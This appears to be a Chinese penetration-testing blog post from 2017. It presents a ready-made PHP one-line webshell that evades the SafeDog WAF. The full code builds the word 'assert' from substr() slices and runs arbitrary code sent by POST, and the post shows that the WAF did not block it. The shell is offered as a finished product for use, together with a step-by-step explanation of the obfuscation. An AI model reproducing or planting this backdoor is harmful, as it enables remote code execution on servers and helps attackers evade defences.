文章目录

2017_最新过狗一句话编写_附成品[过狗一句话][过安全狗bypass]

由 ssnhy13 发布
环境:php+mysql+apche

安全狗:apache版本+8.10规则库

即刻安全

即刻安全纯技术交流群:307283889

如需转载,请联系本博主声明,私自转载必追究

Prat 1

在bypass小分队中V@1n3R表哥提到他明天会分享过waf的一句话 爱搞事的我当然不能只做伸手党,于是决定也分享一些出来,可是发现许久没有做渗透测试了 手里并没有过waf的一句话了,没办法只好临时刚几个出来

思路构思以及实现

本次bypass需要用的一个函数:

substr() //用于返回字符串的一部分。
其实这个想法很早就有了,不过好像也有大佬有成品,不过我没看见过(可能是很久没接触渗透测试了) 于是今天晚上就试了一下 其实不管怎么绕过,一句话最终还是: 
 
assert($_POST['x']);

所谓的绕过无非就是把这一段进行处理让他达到一个过waf的效果

Prat 2

巧用substr函数绕过安全狗

思路成品:

<?php
     $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
     $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
     $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
     $ss = $a.$b.$c;
     $d  = $ss[0].$ss[2].$ss[2]; //ass
     $dd = $ss[5].$ss[1].$ss[3]; //ert
     $x = $d.$dd;
$x($_POST['x']);
?>

这里主要关注这两行

$d  = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;
上面说了,一句话最终结果还是assert($_POST[‘x’]); 所以这里的$x肯定是assert
输出一下就知道。
如图:
shell_1.jpg

可以看见echo 出来了assert
那么他是如何得到assert的呢,我们来看一下

$x = $d.$dd;
可以发现,$x通过$d$dd拼接得到的

$d$dd是通过截取$ss的字符串得到的

我们分别来输出一下每一个变量获取到的字符串


shell_2.jpg

可以发现

$a = a     //从字符串的第0个字符开始截取,向右截取1个字符
$b = rst   //从字符串的第17个字符开始截取,向右截取3个字符
$c = de    //从字符串的第17个字符开始截取,向右截取3个字符
$ss = arstde //为三个变量的拼接的来

$d = ass   //分别截取$ss的第0,2,2字符
$dd = ert  //分别截取$ss的第5,1,3字符
最后拼接成assert
看一下是否能过狗
shell_3.jpg 
完美过狗,并没有拦截 






0条评论

发表评论


验证码